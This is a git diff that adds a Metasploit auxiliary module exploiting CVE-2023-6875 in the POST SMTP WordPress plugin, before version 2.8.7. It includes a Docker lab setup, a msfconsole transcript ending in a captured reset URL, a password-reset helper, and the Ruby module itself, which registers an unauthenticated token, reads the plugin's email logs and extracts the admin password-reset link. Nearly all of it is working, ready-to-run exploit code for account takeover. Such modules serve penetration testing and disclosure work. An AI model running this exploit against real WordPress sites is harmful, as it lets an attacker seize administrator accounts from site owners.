diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 6ef7ff2785fb..d1bb177ef4af 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -64,3 +64,4 @@ backup-backup hash-form give wp-fastest-cache +post-smtp diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md new file mode 100644 index 000000000000..3ba1a4f01d8c --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md @@ -0,0 +1,105 @@ +## Vulnerable Application + +The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege +escalation where an unauthenticated user is able to reset the password +of an arbitrary user. This is done by requesting a password reset, then +viewing the latest email logs to find the associated password reset email. + +### Install + +1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content: +``` +version: '3.1' + +services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: + +``` +2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up` +3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip` +4. `unzip post-smtp.2.8.6.zip` +5. `docker cp post-smtp :/var/www/html/wp-content/plugins` +6. Complete the setup of wordpress +7. Enable the post-smtp plugin, select "default" for the SMTP service + 1. Complete the setup using random information, it isn't validated. +8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244 + 1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes. + + +## Verification Steps + +1. Install the vulnerable plugin +2. Start msfconsole +3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover` +4. Do: `set rhost 127.0.0.1` +5. Do: `set rport 5555` +6. Do: `set ssl false` +7. Do: `set username ` +8. Do: `set verbose true` +9. Do: `run` +10. Visit the output URL to reset the user's password. + +## Options + +### USERNAME + +The username to perform a password reset against + +## Scenarios + +### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker + +``` +msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555 +rport => 5555 +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false +ssl => false +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin +username => admin +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true +verbose => true +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run +[*] Running module against 127.0.0.1 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/post-smtp/readme.txt +[*] Found version 2.8.6 in the plugin +[+] The target appears to be vulnerable. +[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw +[+] Succesfully created token: fUefO7U12dXtb0DM +[*] Requesting logs +[*] Requesting email content from logs for ID 4 +[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt +[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http/wordpress/users.rb b/lib/msf/core/exploit/remote/http/wordpress/users.rb index 75180356aed7..6b28f2524641 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/users.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/users.rb @@ -63,4 +63,19 @@ def wordpress_userid_exists?(user_id) end end + # Performs a password reset for a user + # + # @param user [String] Username + # @return [Boolean] true if the request was successful + def reset_user_password(user) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_login, + 'vars_get' => { 'action' => 'lostpassword' }, + 'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' } + }) + return false unless res&.code == 200 + + true + end end diff --git a/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb new file mode 100644 index 000000000000..ddf3e61a63bc --- /dev/null +++ b/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress POST SMTP Account Takeover', + 'Description' => %q{ + The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege + escalation where an unauthenticated user is able to reset the password + of an arbitrary user. This is done by requesting a password reset, then + viewing the latest email logs to find the associated password reset email. + }, + 'Author' => [ + 'h00die', # msf module + 'Ulysses Saicha', # Discovery, POC + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6875'], + ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], + ], + 'DisclosureDate' => '2024-01-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('USERNAME', [true, 'Username to password reset', '']), + ] + ) + end + + def register_token + token = Rex::Text.rand_text_alphanumeric(10..16) + device = Rex::Text.rand_text_alphanumeric(10..16) + vprint_status("Attempting to Registering token #{token} on device #{device}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401 + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404 + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + print_good("Succesfully created token: #{token}") + return token, device + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') + end + + checkcode + end + + def run + fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] + token, device = register_token + fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) + print_status('Requesting logs') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), + 'headers' => { 'fcm-token' => token, 'device' => device } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + json_doc = res.get_json_document + # we want the latest email as that's the one with the password reset + doc_id = json_doc['data'][0]['id'] + print_status("Requesting email content from logs for ID #{doc_id}") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), + 'headers' => { 'fcm-token' => token, 'device' => device }, + 'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } + ) + fail_with(Failure::Unreachable, 'Connection failed') unless res + fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 + + path = store_loot( + 'wordpress.post_smtp.log', + 'text/plain', + rhost, + res.body, + "#{doc_id}.log" + ) + print_good("Full text of log saved to: #{path}") + # https://rubular.com/r/DDQpKElcH42Qxg + # example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US + if res.body =~ /^(.*key=.+)$/ + print_good("Reset URL: #{::Regexp.last_match(1)}") + return + end + print_bad('Reset URL not found, manually review log stored in loot.') + end +end